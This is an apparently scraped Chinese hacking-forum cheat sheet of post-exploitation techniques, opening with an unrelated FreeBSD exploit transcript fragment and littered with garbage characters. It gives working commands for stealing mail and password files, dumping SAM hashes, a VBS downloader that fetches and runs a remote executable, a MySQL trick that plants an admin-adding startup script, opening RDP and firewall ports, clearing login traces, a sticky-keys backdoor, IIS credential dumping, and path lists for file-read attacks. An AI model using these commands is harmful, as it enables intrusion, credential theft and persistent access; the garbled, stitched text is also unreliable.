0 a# ]( Q# A1 f2 x4 _# O. }9 R# x[argp@julius ~]$ uname -rsi
* freebsd 7.3-RELEASE GENERIC
* [argp@julius ~]$ sysctl vfs.usermount
  L' ?* e) Q( o8 g7 ?* vfs.usermount: 1
4 B; q7 D$ X/ l* [argp@julius ~]$ id
* uid=1001(argp) gid=1001(argp) groups=1001(argp)
* [argp@julius ~]$ gcc -Wall nfs_mount_ex.c -o nfs_mount_ex
! T. C) B. `+ I' v3 }* [argp@julius ~]$ ./nfs_mount_ex
$ d  Q3 A+ S0 [1 o*
) J6 N( ^6 C4 O! M5 ecalling nmount()

! |3 k1 O# l* J; M6 C3 w$ ]8 N+ f（注：本文原件由0x童鞋收集整理，感谢0x童鞋，本人补充和优化了点，本文毫无逻辑可言，因为是想到什么就写了，大家见谅）
——————————————
感谢T00LS的童鞋们踊跃交流，让我学到许多经验，为了方便其他童鞋浏览，将T00LS的童鞋们补充的贴在下面，同时我也会以后将自己的一些想法跟新在后面。
  F3 G% Z1 u1 d# q6 n9 h# a————————————————————————————
$ @, c# z0 b& ~1、tar打包            tar -cvf /home/public_html/*.tar /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
alzip打包(韩国) alzip -a D:\WEB\ d:\web\*.rar
& X% ]* N0 ~, Z/ ^{
注：
) I0 Y7 A( ]4 ?5 z# K关于tar的打包方式,linux不以扩展名来决定文件类型。
若压缩的话tar -ztf *.tar.gz   查看压缩包里内容     tar -zxf *.tar.gz 解压
; S4 ~9 G! V* z: b9 g那么用这条比较好 tar -czf /home/public_html/*.tar.gz /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
; A* S# C( m: V6 t6 @; A2 M}  

提权先执行systeminfo
4 x0 c& b8 }# Rtoken 漏洞补丁号 KB956572
5 G$ \7 o( D! M3 z* gChurrasco          kb952004
命令行RAR打包~~·
rar a -k -r -s -m3 c:\1.rar c:\folder
——————————————
2、收集系统信息的脚本  
9 }" D; Y7 h  G" c6 a* tfor window：

' X2 Q  R, H% @" X6 Q@echo off
echo #########system info collection
  B0 x. |7 v6 g/ K, @systeminfo
ver
  ?6 Y- z2 b2 c0 c- w! H4 ~2 [/ m$ n% chostname
net user
net localgroup
net localgroup administrators
# p/ s' F% H# rnet user guest
4 D$ P* g+ }  s0 z, Ynet user administrator
/ n3 u: [/ \: p
- \/ [* Y- N0 E- }echo #######at- with   atq#####
echo schtask /query

echo
echo ####task-list#############
* H8 P2 d9 G5 {' S0 l% q+ ltasklist /svc
echo
echo ####net-work infomation
ipconfig/all
( k1 n  ]+ ?& z# a4 \route print
arp -a
netstat -anipconfig /displaydns
4 P/ ]" T; g9 r- yecho
echo #######service############
! `4 {8 p) T7 B6 }+ Isc query type= service state= all
echo #######file-##############
cd \
tree -F
' T( ]) H! O5 |5 g! P2 mfor linux：

#!/bin/bash
, r# b* t: b% k% S& R( Q
echo #######geting sysinfo####
& m+ ?, k+ U1 Techo ######usage: ./getinfo.sh >/tmp/sysinfo.txt
echo #######basic infomation##
cat /proc/meminfo
echo
cat /proc/cpuinfo
# r1 s3 g8 N8 necho
/ Q# p: `' h- A5 O! T1 ]8 Wrpm -qa 2>/dev/null
, D, {( `: V* x  P- J( {2 Q+ H######stole the mail......######
# J5 V$ j1 U! X' kcp -a /var/mail /tmp/getmail 2>/dev/null

3 P7 j# N3 P3 G. l# m, z
echo 'u'r id is' `id`
/ ?4 L5 j, f( B5 c1 `0 Y7 Yecho ###atq&crontab#####
4 h' M6 X0 X0 H% @# Uatq
% q' F' t5 e: N2 E9 Bcrontab -l
; d; T: R. o7 J# y) W# zecho #####about var#####
set

echo #####about network###
####this is then point in pentest,but i am a new bird,so u need to add some in it
cat /etc/hosts
1 t) @. Y1 ]1 w* {- M0 k  [hostname
4 q, N7 ^% @( F* c! p  }ipconfig -a
% S- z% s; H+ M5 Z) Qarp -v
echo ########user####
$ K" v2 W. \$ ?3 Ycat /etc/passwd|grep -i sh
# o; k+ h  g: Y5 d
  }5 F3 _+ k' Necho ######service####
  I0 B, C$ N; ~5 t6 k( |chkconfig --list
2 O; x, t- Y. ]7 e
8 ]" v+ P. ^6 P7 @( p7 xfor i in {oracle,mysql,tomcat,samba,apache,ftp}
cat /etc/passwd|grep -i $i
done

locate passwd >/tmp/password 2>/dev/null
3 \. o" n" l# H, M* w: ~2 `sleep 5
locate password >>/tmp/password 2>/dev/null
sleep 5
4 j) E, R, b7 O/ p- e! w8 s7 Olocate conf >/tmp/sysconfig 2>dev/null
2 m' |- @9 F# tsleep 5
% q- F0 [$ t8 plocate config >>/tmp/sysconfig 2>/dev/null
/ H; i( E4 X- P6 p* g: |sleep 5

###maybe can use "tree /"###
1 f# k- H, M! D4 qecho ##packing up#########
tar cvf getsysinfo.tar /tmp/getmail /tmp/password /tmp/sysconfig
2 ~+ P8 l. n% t- j/ B) Frm -rf /tmp/getmail /tmp/password /tmp/sysconfig
——————————————
/ K1 z. A, I9 n  }. s7 i3、ethash 不免杀怎么获取本机hash。
首先导出注册表 regedit /e d:\aa.reg "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users"   （2000）
  @9 M2 j; a+ f& B               reg export "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users" d:\aa.reg  （2003）
注意权限问题，一般注册表默认sam目录是不能访问的。需要设置为完全控制以后才可以访问（界面登录的需要注意，system权限可以忽略）
6 |) T  X% @/ H9 i7 r$ j接下来就简单了，把导出的注册表，down 到本机，修改注册表头导入本机，然后用抓去hash的工具抓本地用户就OK了
hash 抓完了记得把自己的账户密码改过来哦！
4 J# _: c- p# R% e  S: n8 l据我所知，某人是用这个方法虚拟机多次因为不知道密码而进不去！~
——————————————
4、vbs 下载者
1
5 {& i! K5 P0 ]+ q  }0 E  h; becho Set sGet = createObject("ADODB.Stream") >>c:\windows\cftmon.vbs
3 U  S$ w0 Q( {8 M: j* Q" |echo sGet.Mode = 3 >>c:\windows\cftmon.vbs
+ ?  e( P" }8 iecho sGet.Type = 1 >>c:\windows\cftmon.vbs
1 [, t" B* v# d9 ]- ~3 Jecho sGet.Open() >>c:\windows\cftmon.vbs
  ?6 t$ ]  \0 @. Y3 techo sGet.Write(xPost.responseBody) >>c:\windows\cftmon.vbs
echo sGet.SaveToFile "c:\windows\e.exe",2 >>c:\windows\cftmon.vbs
echo Set objShell = CreateObject("Wscript.Shell") >>c:\windows\cftmon.vbs
) O5 f8 c2 r8 ], i& K2 \0 Mecho objshell.run """c:\windows\e.exe""" >>c:\windows\cftmon.vbs
3 ], H& K: C; b% C- b4 L! N) l% Scftmon.vbs

2
On Error Resume Nextim iRemote,iLocal,s1,s2
iLocal = LCase(WScript.Arguments(1)):iRemote = LCase(WScript.Arguments(0))  
s1="Mi"+"cro"+"soft"+"."+"XML"+"HTTP":s2="ADO"+"DB"+"."+"Stream"
6 @2 y# D; ^; n1 ^# _1 l% cSet xPost = CreateObject(s1):xPost.Open "GET",iRemote,0:xPost.Send()
! M8 b3 D1 T6 M' z5 A& }2 LSet sGet = CreateObject(s2):sGet.Mode=3:sGet.Type=1:sGet.Open()
& `2 |8 X; T- q1 o7 K+ t6 msGet.Write(xPost.responseBody):sGet.SaveToFile iLocal,2

cscript c:\down.vbs http://xxxx/mm.exe c:\mm.exe

当GetHashes获取不到hash时，可以用兵刃把sam复制到桌面
$ x* _( T- S. F7 S——————————————————
: W7 ^6 Q, M8 V4 f. }2 T% r5、
$ J8 Z' P/ G/ R' I/ R9 W  ?; U1.查询终端端口
REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
2.开启XP&2003终端服务
! Y; ?7 U" E( }0 }REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
3.更改终端端口为2008(0x7d8)
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\Wds\rdpwd\Tds\tcp /v PortNumber /t REG_DWORD /d 0x7d8 /f
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber /t REG_DWORD /d 0x7D8 /f
4.取消xp&2003系统防火墙对终端服务的限制及IP连接的限制
REG ADD HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List /v 3389:TCP /t REG_SZ /d 3389:TCP:*:Enabled   xpsp2res.dll,-22009 /f
8 Y% C2 x1 S+ \4 t————————————————
6、create table a (cmd text);
" w$ t$ B' \% v# sinsert into a values ("set wshshell=createobject (""wscript.shell"")");
; b8 I% D. f2 v; B* S% Sinsert into a values ("a=wshshell.run (""cmd.exe /c net user admin admin /add"",0)");
' p; X, f% X# q- j! Pinsert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators admin /add"",0)");  
select * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";
————————————————————
7、BS马的PortMap功能，类似LCX做转发。若果支持ASPX，用这个转发会隐蔽点。（注：一直忽略了在偏僻角落的那个功能）
2 A6 V7 X) S+ @( [_____
7 E/ G. L9 E3 v; B$ {8、for /d %i in (d:\freehost\*) do @echo %i

列出d的所有目录
& Q) ^& h8 F, E+ J, q  
  for /d %i in (???) do @echo %i

- M0 S) x; d: K& d# t把当前路径下文件夹的名字只有1-3个字母的打出来

2.for /r %i in (*.exe) do @echo %i
  
以当前目录为搜索路径.会把目录与下面的子目录的全部EXE文件列出

for /r f:\freehost\hmadesign\web\ %i in (*.*) do @echo %i

3.for /f %i in (c:\1.txt) do echo %i
  
; M: m% S' l% E/ b! n  //这个会显示a.txt里面的内容，因为/f的作用，会读出a.txt中
+ @( d5 q- I+ N6 v- @- T
7 G$ B, L; C; J! F4.for /f "tokens=2 delims= " %i in (a.txt) do echo %i
7 x/ Y5 d8 l0 `: A
  delims=后的空格是分隔符 tokens是取第几个位置
/ U- @; I  \% g  G5 q: I  K: n/ ?——————————
●注册表:
1.Administrator注册表备份:
. C3 d0 x& k1 x4 ^. U# x1 F' areg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\1f4.reg
4 s7 {4 g% {( U  ?, o9 P
2.修改3389的默认端口:
8 `. |. v' ~4 M4 ?' B7 C0 p$ q% RHKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp
; Z1 c' Z. B5 q修改PortNumber.
: F* U) m" d: j0 \6 _/ E: F
3.清除3389登录记录:
  q7 ?% r+ w$ k: C/ Zreg delete "HKCU\Software\Microsoft\Terminal Server Client"  /f
3 t5 q; P, k4 Z& ]3 v1 Y
2 j; H# H- R" {! u# J: X3 y4.Radmin密码:
reg export HKLM\SYSTEM\RAdmin c:\a.reg

7 i8 |4 h6 S5 v. [$ M- F5.禁用TCP/IP端口筛选(需重启):
REG ADD HKLM\SYSTEM\ControlSet001\Services\Tcpip\parameters /v EnableSecurityFilters /t REG_DWORD /d 0 /f
  w- L( ~7 C  X% U
( S4 [2 R) T# _; W6.IPSec默认免除项88端口(需重启):
reg add HKLM\SYSTEM\CurrentControlSet\Services\IPSEC /v NoDefaultExempt /t REG_DWORD /d 0 /f
  ^0 z8 F( p& e/ e4 I或者
4 |5 T1 i, q# \8 l, A& Gnetsh ipsec dynamic set config ipsecexempt value=0

+ i* z$ @3 h. m& B: w, f7.停止指派策略"myipsec":
' H9 K) u: L+ R2 m8 r8 J, D5 Nnetsh ipsec static set policy name="myipsec" assign=n
# I9 b6 e" i7 D% y. ~2 V
5 V. o9 x- A% t' h0 j8.系统口令恢复LM加密:
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LMCompatibilityLevel /t REG_DWORD /d 0 /f
& C# h/ f9 {& N/ l
9.另类方法抓系统密码HASH
reg save hklm\sam c:\sam.hive
1 c: Q/ K2 N7 G+ areg save hklm\system c:\system.hive
reg save hklm\security c:\security.hive
/ S' ~# F. G2 z/ X$ n
10.shift映像劫持
' _8 J- e" ~+ L" d0 \) ^reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v debugger /t REG_sz /d cmd.exe
$ p/ ^6 h) V  q
reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /f
-----------------------------------
星外vbs(注：测试通过，好东西）
1 P( X9 P: n7 `, b+ Z" _! CSet ObjService=GetObject("IIS://LocalHost/W3SVC")
For Each obj3w In objservice
4 p8 ~$ X7 N' Z' I# I! b6 lchildObjectName=replace(obj3w.AdsPath,Left(obj3w.Adspath,22),"")
if IsNumeric(childObjectName)=true then
0 @& Y6 V! _& g+ V/ P7 Jset IIs=objservice.GetObject("IIsWebServer",childObjectName)
' u! d3 w3 G# @. R. A# X& Sif err.number<>0 then
exit for
& |  T) o" V- `  w; `" C7 \msgbox("error!")
' ]0 n* j7 `* [1 I+ Q2 Q4 Nwscript.quit
end if
) M, r0 P: P9 D# Zserverbindings=IIS.serverBindings
ServerComment=iis.servercomment
set IISweb=iis.getobject("IIsWebVirtualDir","Root")
user=iisweb.AnonymousUserName
pass=iisweb.AnonymousUserPass
path=IIsWeb.path
list=list&servercomment&" "&user&" "&pass&" "&join(serverBindings,",")&" "&path& vbCrLf & vbCrLf
end if
. j! k* \" U" G) B( y4 a- \( q- INext
5 |) o1 o. \! a9 b, `wscript.echo list
Set ObjService=Nothing
wscript.echo "from : http://www.xxx.com/" &vbTab&vbCrLf
WScript.Quit
& ^, I. p; K8 C3 ^  z1 g复制代码
----------------------2011新气象，欢迎各位补充、指正、优化。----------------
4 ?  G  i8 L# m) }9 Z7 O1、Firefox的利用(主要用于内网渗透），火狐浏览器的密码储存在C:\Documents and Settings\Administrator\Application Data\Mozilla\Firefox\Profiles\文件夹，打包后，本地查看。或有很多惊喜~
2、win2k的htt提权（注：仅适合2k以及以下版本，文件夹不限,只读权限即可)
6 z% _. ]; F5 J. A' w$ w将folder.htt文件，加入以下代码：
6 X% W* g% j) s" V! n) b* j: Z0 K<OBJECT ID=RUNIT WIDTH=0 HEIGHT=0 TYPE="application/x-oleobject" CODEBASE="cmd.exe">
</OBJECT>
复制代码
然后与desktop.ini、cmd.exe同一个文件夹。当管理打开该文件夹时即可运行。
( u, m# G# t7 g* nPS：我N年前在邪八讨论过XP下htt提权，由于N年前happy蠕虫的缘故，2K以后都没有folder.htt文件，但是xp下的htt自运行各位大牛给个力~
asp代码，利用的时候会出现登录问题
6 U. Q, K- {! V4 y% O4 \ 原因是ASP大马里有这样的代码：（没有就没事儿了）
6 R: s# l( |+ \; z  D* |3 U url=request.severvariables("url")
这里显示接收到的参数是通过URL来传递的，也就是说登录大马的时候服务器会解析b.asp，于是就出现了问题。
: @# g# E+ E8 b, c+ y 解决方法
url=request.severvariables("path_info")
. }5 g% T6 ?/ t. [2 e; o path_info可以直接呈现虚拟路径 顺利解析gif大马
/ n9 x" _: [9 j; x
==============================================================
6 i2 r3 U. g  ^  n. rLINUX常见路径：

/etc/passwd
. X0 w8 }- H' w1 g, g& T4 q/etc/shadow
/etc/fstab
6 n. v* L; S3 u1 @9 W$ _9 a9 W/etc/host.conf
/etc/motd
- L$ j: r% _/ _" L& o/etc/ld.so.conf
/var/www/htdocs/index.php
% h" N" d8 N+ o3 a4 i( [$ [/var/www/conf/httpd.conf
  \( h6 I9 N+ g( P0 O" g/var/www/htdocs/index.html
, G5 ]3 N3 j1 V+ P3 B' |# N/var/httpd/conf/php.ini
/var/httpd/htdocs/index.php
/var/httpd/conf/httpd.conf
/var/httpd/htdocs/index.html
/var/httpd/conf/php.ini
8 `$ t$ E$ m  s$ s3 z/var/www/index.html
/var/www/index.php
" c% d% f$ t; ~# l$ E* ]/opt/www/conf/httpd.conf
/opt/www/htdocs/index.php
: R; o/ S# P' m' i" W/opt/www/htdocs/index.html
: h; t3 F  }9 I1 a0 h7 @* C: A/usr/local/apache/htdocs/index.html
# b$ o/ J3 y- n! m/ _" ]/usr/local/apache/htdocs/index.php
4 g3 D) h' ^, B4 l5 N+ t% q% o* }/usr/local/apache2/htdocs/index.html
2 R' l' @# a/ w3 @/usr/local/apache2/htdocs/index.php
/usr/local/httpd2.2/htdocs/index.php
! V" F3 P8 g4 [' I: |- h7 d/usr/local/httpd2.2/htdocs/index.html
: Q  }4 l5 h: K2 Y3 N6 s/tmp/apache/htdocs/index.html
# w1 l$ o, A" t- q3 e/tmp/apache/htdocs/index.php
/etc/httpd/htdocs/index.php
, h/ o( `- d, }- b. L# X" c' @/etc/httpd/conf/httpd.conf
/etc/httpd/htdocs/index.html
% a! {$ I# y% N% n$ O- s/www/php/php.ini
/www/php4/php.ini
, u/ B# |& s+ n. n) g, ~/www/php5/php.ini
  _$ d6 v, v; Y4 ~# n6 Z/www/conf/httpd.conf
/www/htdocs/index.php
/www/htdocs/index.html
2 b, h% y3 t# U8 b% m1 y1 x7 y/usr/local/httpd/conf/httpd.conf
/apache/apache/conf/httpd.conf
7 P3 n: `. O, n8 `/ Y! W1 t8 I+ {/apache/apache2/conf/httpd.conf
# M2 i2 B% x" k9 U. {/etc/apache/apache.conf
+ s$ ^; `; z9 U0 h$ o/etc/apache2/apache.conf
8 i; d6 k0 [" U5 [. q9 \# a/etc/apache/httpd.conf
  \  r6 E3 P' t3 d7 X' I  z$ e0 E/etc/apache2/httpd.conf
+ b8 H; P7 b. Z& h$ B( _/etc/apache2/vhosts.d/00_default_vhost.conf
/etc/apache2/sites-available/default
/etc/phpmyadmin/config.inc.php
+ G  b5 z0 ]$ L* s9 ]/etc/mysql/my.cnf
/etc/httpd/conf.d/php.conf
/etc/httpd/conf.d/httpd.conf
" Z+ o" k: Q% X7 C; X/etc/httpd/logs/error_log
) t! C0 |0 v- w* }" H/etc/httpd/logs/error.log
/etc/httpd/logs/access_log
/etc/httpd/logs/access.log
* l# G+ X5 q/ x4 ?1 P& h/home/apache/conf/httpd.conf
/home/apache2/conf/httpd.conf
/var/log/apache/error_log
/var/log/apache/error.log
+ a) {! y! U6 s: t9 B/var/log/apache/access_log
/var/log/apache/access.log
/var/log/apache2/error_log
/var/log/apache2/error.log
/var/log/apache2/access_log
/var/log/apache2/access.log
* A- |% Q7 s7 g; f, P8 H" U/var/www/logs/error_log
$ [) D' \" n; p6 W/var/www/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
; \2 u5 D" p  j, a6 q+ E! R/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/error_log
/var/log/error.log
+ g/ ~  l9 `' W4 d+ V$ Q/var/log/access_log
/var/log/access.log
/usr/local/apache/logs/access_logaccess_log.old
1 M0 C/ ]( Z% O  \' W* v/usr/local/apache/logs/error_logerror_log.old
4 X3 C- ^/ m) O: o: L/etc/php.ini
/bin/php.ini
/etc/init.d/httpd
/etc/init.d/mysql
/etc/httpd/php.ini
/usr/lib/php.ini
# |8 Y/ I. r+ X1 P. s7 g8 H/usr/lib/php/php.ini
1 w* R1 ~5 Y: r& H/usr/local/etc/php.ini
/usr/local/lib/php.ini
/usr/local/php/lib/php.ini
, R" J; |% h, B  l( B" n# ]# m/usr/local/php4/lib/php.ini
/usr/local/php4/php.ini
/usr/local/php4/lib/php.ini
/usr/local/php5/lib/php.ini
/usr/local/php5/etc/php.ini
' V' Q7 A! ^# c/usr/local/php5/php5.ini
/usr/local/apache/conf/php.ini
/usr/local/apache/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
  Y) W9 F; u1 S# O5 a& Q- V/usr/local/apache2/conf/php.ini
/etc/php4.4/fcgi/php.ini
/etc/php4/apache/php.ini
/etc/php4/apache2/php.ini
/etc/php5/apache/php.ini
/etc/php5/apache2/php.ini
8 j, M, }3 B9 e5 |' ?' u/ u* }/etc/php/php.ini
* |8 i; \0 _5 T1 l+ M/etc/php/php4/php.ini
/etc/php/apache/php.ini
7 R) {% o8 [1 D4 g, z5 W/etc/php/apache2/php.ini
/web/conf/php.ini
; D7 W: a; O2 D' B, U/usr/local/Zend/etc/php.ini
/opt/xampp/etc/php.ini
: m6 k) i+ s3 Y1 g) B- Y5 ]  S/var/local/www/conf/php.ini
/var/local/www/conf/httpd.conf
/etc/php/cgi/php.ini
/etc/php4/cgi/php.ini
$ ]8 m' O' y5 y( l# g/etc/php5/cgi/php.ini
/php5/php.ini
/php4/php.ini
# J* @4 V6 j* H* ?- k/php/php.ini
/PHP/php.ini
4 Y4 y1 ~" W) J& K% W9 J/apache/php/php.ini
/xampp/apache/bin/php.ini
) {) M% ?- V' p+ b# p8 Q* O+ i) z/xampp/apache/conf/httpd.conf
/NetServer/bin/stable/apache/php.ini
+ `/ f% Z6 f3 ]5 |4 i/home2/bin/stable/apache/php.ini
1 Q* h9 [3 o6 j5 [) N- F5 t- _. Q( J, m0 ?/home/bin/stable/apache/php.ini
/ O5 y5 S$ e, h/var/log/mysql/mysql-bin.log
- M& S& B* q: W% Y8 w/var/log/mysql.log
/var/log/mysqlderror.log
/var/log/mysql/mysql.log
/var/log/mysql/mysql-slow.log
/var/mysql.log
5 S. r. ]# b# b. o/var/lib/mysql/my.cnf
2 q9 Q* A5 I  I! W2 T# e/usr/local/mysql/my.cnf
4 y& K5 |1 _% _) `6 V* k/ ]/usr/local/mysql/bin/mysql
$ s3 X0 J$ O& a* a$ }, z/etc/mysql/my.cnf
/etc/my.cnf
/usr/local/cpanel/logs
/ Q+ \. D" Z1 m. {! O/usr/local/cpanel/logs/stats_log
/usr/local/cpanel/logs/access_log
/usr/local/cpanel/logs/error_log
9 I7 o  k6 c# G7 G5 g3 X! {/usr/local/cpanel/logs/license_log
3 T% q/ L  Z$ |; m! k6 n, G/usr/local/cpanel/logs/login_log
+ d4 |5 e9 _5 o! B' s/ f% B/usr/local/cpanel/logs/stats_log
/usr/local/share/examples/php4/php.ini
/usr/local/share/examples/php/php.ini
6 {6 T2 S" m/ p9 i: V' q) y
& ]' i7 S" Y' L& C& E2..windows常见路径（可以将c盘换成d,e盘,比如星外虚拟主机跟华众得,一般都放在d盘）
' H5 N2 g  i/ a) A  r
c:\windows\php.ini
c:\boot.ini
c:\1.txt
4 \  }5 L, _. O+ ~' S8 Dc:\a.txt
' {' A& X& |5 k2 n: J$ X9 n, h
c:\CMailServer\config.ini
c:\CMailServer\CMailServer.exe
5 B/ S' [8 o) n& w. Dc:\CMailServer\WebMail\index.asp
4 {* {: g1 V% u$ _1 o! k6 b& [: i- y" zc:\program files\CMailServer\CMailServer.exe
c:\program files\CMailServer\WebMail\index.asp
C:\WinWebMail\SysInfo.ini
5 P+ l7 h6 u3 a% ]. q& H4 EC:\WinWebMail\Web\default.asp
C:\WINDOWS\FreeHost32.dll
C:\WINDOWS\7i24iislog4.exe
C:\WINDOWS\7i24tool.exe
2 @, d% ^  G9 h/ {# x% @
; [' Y2 T6 f$ j+ i9 Lc:\hzhost\databases\url.asp
% O8 D  l2 N* U4 O( f0 _: N. ]
c:\hzhost\hzclient.exe
C:\Documents and Settings\All Users\「开始」菜单\程序\7i24虚拟主机管理平台\自动设置[受控端].lnk
3 _& Y6 h8 A  C9 ?
8 J) Z/ E! L. H: ]C:\Documents and Settings\All Users\「开始」菜单\程序\Serv-U\Serv-U Administrator.lnk
C:\WINDOWS\web.config
c:\web\index.html
c:\www\index.html
, h$ @) S/ d, b0 t  F8 W" T$ @c:\WWWROOT\index.html
c:\website\index.html
c:\web\index.asp
8 ?1 H6 T+ C( W6 v$ S. rc:\www\index.asp
  y  q, ]- ?: D) K, i, i) ]" Yc:\wwwsite\index.asp
: S# n5 u  M. f+ ]c:\WWWROOT\index.asp
, ^+ Z7 Y* A% b8 g' @' ic:\web\index.php
3 E3 Q8 I, F5 q% I$ b: P" lc:\www\index.php
( L" A6 r- i6 H; g9 Y/ ]5 S$ sc:\WWWROOT\index.php
" m0 U2 `! b9 i1 D7 Kc:\WWWsite\index.php
4 \5 L9 ~: U+ a2 d+ Kc:\web\default.html
, U/ o' M7 g2 Y0 vc:\www\default.html
c:\WWWROOT\default.html
' P% T# Z$ l: C1 \: lc:\website\default.html
c:\web\default.asp
$ A( _  C/ n$ a8 @% A# wc:\www\default.asp
. y! T9 k6 c9 n$ ac:\wwwsite\default.asp
c:\WWWROOT\default.asp
1 M2 h4 g" W7 `% r* B4 Jc:\web\default.php
1 |$ n8 p2 g- ?- ?  h1 F) w8 M1 t" ?c:\www\default.php
c:\WWWROOT\default.php
c:\WWWsite\default.php
# r7 |/ |% t0 t. OC:\Inetpub\wwwroot\pagerror.gif
c:\windows\notepad.exe
5 q8 S) t& O, H- tc:\winnt\notepad.exe
C:\Program Files\Microsoft Office\OFFICE10\winword.exe
: [8 A, H* r- o' UC:\Program Files\Microsoft Office\OFFICE11\winword.exe
* `& \& t/ F& OC:\Program Files\Microsoft Office\OFFICE12\winword.exe
C:\Program Files\Internet Explorer\IEXPLORE.EXE
C:\Program Files\winrar\rar.exe
! e1 H7 W  Y6 }4 cC:\Program Files\360\360Safe\360safe.exe
C:\Program Files\360Safe\360safe.exe
C:\Documents and Settings\Administrator\Application Data\360Safe\360Examine\360Examine.log
1 _# m: e4 L  @$ g* Tc:\ravbin\store.ini
c:\rising.ini
C:\Program Files\Rising\Rav\RsTask.xml
C:\Documents and Settings\All Users\Start Menu\desktop.ini
! K) q3 w8 @, s. V  e8 EC:\Documents and Settings\Administrator\My Documents\Default.rdp
C:\Documents and Settings\Administrator\Cookies\index.dat
5 Q9 A1 F& o( g! K8 I! Y5 D+ gC:\Documents and Settings\Administrator\My Documents\新建 文本文档.txt
C:\Documents and Settings\Administrator\桌面\新建 文本文档.txt
3 s$ m) x. @: {7 uC:\Documents and Settings\Administrator\My Documents\1.txt
C:\Documents and Settings\Administrator\桌面\1.txt
C:\Documents and Settings\Administrator\My Documents\a.txt
& a  `* `. w" MC:\Documents and Settings\Administrator\桌面\a.txt
C:\Documents and Settings\All Users\Documents\My Pictures\Sample Pictures\Blue hills.jpg
7 t* N. P, @" x) L' X. YE:\Inetpub\wwwroot\aspnet_client\system_web\1_1_4322\SmartNav.htm
  |  A0 @7 ?. F4 i' t* N; LC:\Program Files\RhinoSoft.com\Serv-U\Version.txt
" q. d% j* N  Q; |5 cC:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
: a. x, d% E6 ?. \% AC:\Program Files\Symantec\SYMEVENT.INF
C:\Program Files\Microsoft SQL Server\80\Tools\Binn\sqlmangr.exe
C:\Program Files\Microsoft SQL Server\MSSQL\Data\master.mdf
' N  O& |8 t/ _6 y8 M' UC:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Data\master.mdf
' G8 M' Y' q9 |# HC:\Program Files\Microsoft SQL Server\MSSQL.2\MSSQL\Data\master.mdf
- W7 h$ I/ F% Z5 A; M+ _+ N2 }7 ~C:\Program Files\Microsoft SQL Server\80\Tools\HTML\database.htm
C:\Program Files\Microsoft SQL Server\MSSQL\README.TXT
1 E4 H% G) c5 S, VC:\Program Files\Microsoft SQL Server\90\Tools\Bin\DdsShapes.dll
C:\Program Files\Microsoft SQL Server\MSSQL\sqlsunin.ini
# |0 W( t& g) C; E' D* A3 J* w$ YC:\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
& G: ^+ h1 t4 P/ l5 q+ OC:\Program Files\MySQL\MySQL Server 5.0\data\mysql\user.frm
C:\Program Files\MySQL\MySQL Server 5.0\COPYING
C:\Program Files\MySQL\MySQL Server 5.0\share\mysql_fix_privilege_tables.sql
C:\Program Files\MySQL\MySQL Server 4.1\bin\mysql.exe
2 X% S" A* H$ M6 `  n( U' J- u4 n8 B& Ec:\MySQL\MySQL Server 4.1\bin\mysql.exe
' g4 \5 s( x4 f) m, X0 Pc:\MySQL\MySQL Server 4.1\data\mysql\user.frm
& }7 ^) J$ }9 \  o8 {" y9 {3 vC:\Program Files\Oracle\oraconfig\Lpk.dll
( O' B. ^: n% f/ \. e4 E% r1 w: Q2 G9 QC:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\aspnet_state.exe
6 S+ j8 u# C1 [* y9 O2 TC:\WINDOWS\system32\inetsrv\w3wp.exe
C:\WINDOWS\system32\inetsrv\inetinfo.exe
  Z7 J7 p/ Q3 z6 B; W! yC:\WINDOWS\system32\inetsrv\MetaBase.xml
6 N0 R" h9 F+ j  Z* QC:\WINDOWS\system32\inetsrv\iisadmpwd\achg.asp
C:\WINDOWS\system32\config\default.LOG
C:\WINDOWS\system32\config\sam
# r+ I5 v  J7 ^4 Y1 A: o5 @C:\WINDOWS\system32\config\system
( I6 x9 K; t7 ^c:\CMailServer\config.ini
c:\program files\CMailServer\config.ini
7 {# p% g1 T* D- }7 A8 c' E5 rc:\tomcat6\tomcat6\bin\version.sh
c:\tomcat6\bin\version.sh
# P* I6 u* _4 O, Tc:\tomcat\bin\version.sh
c:\program files\tomcat6\bin\version.sh
* |" H, _, |7 j' H* PC:\Program Files\Apache Software Foundation\Tomcat 6.0\bin\version.sh
c:\Program Files\Apache Software Foundation\Tomcat 6.0\logs\isapi_redirect.log
; t7 C9 v6 R3 o; H( Y+ Y5 {c:\Apache2\Apache2\bin\Apache.exe
4 ]2 W" ]1 b; Y7 Ec:\Apache2\bin\Apache.exe
9 }) y4 @( t9 b& y5 Kc:\Apache2\php\license.txt
C:\Program Files\Apache Group\Apache2\bin\Apache.exe
, Y0 z  b0 A( R6 f7 o/usr/local/tomcat5527/bin/version.sh
/usr/share/tomcat6/bin/startup.sh
/usr/tomcat6/bin/startup.sh
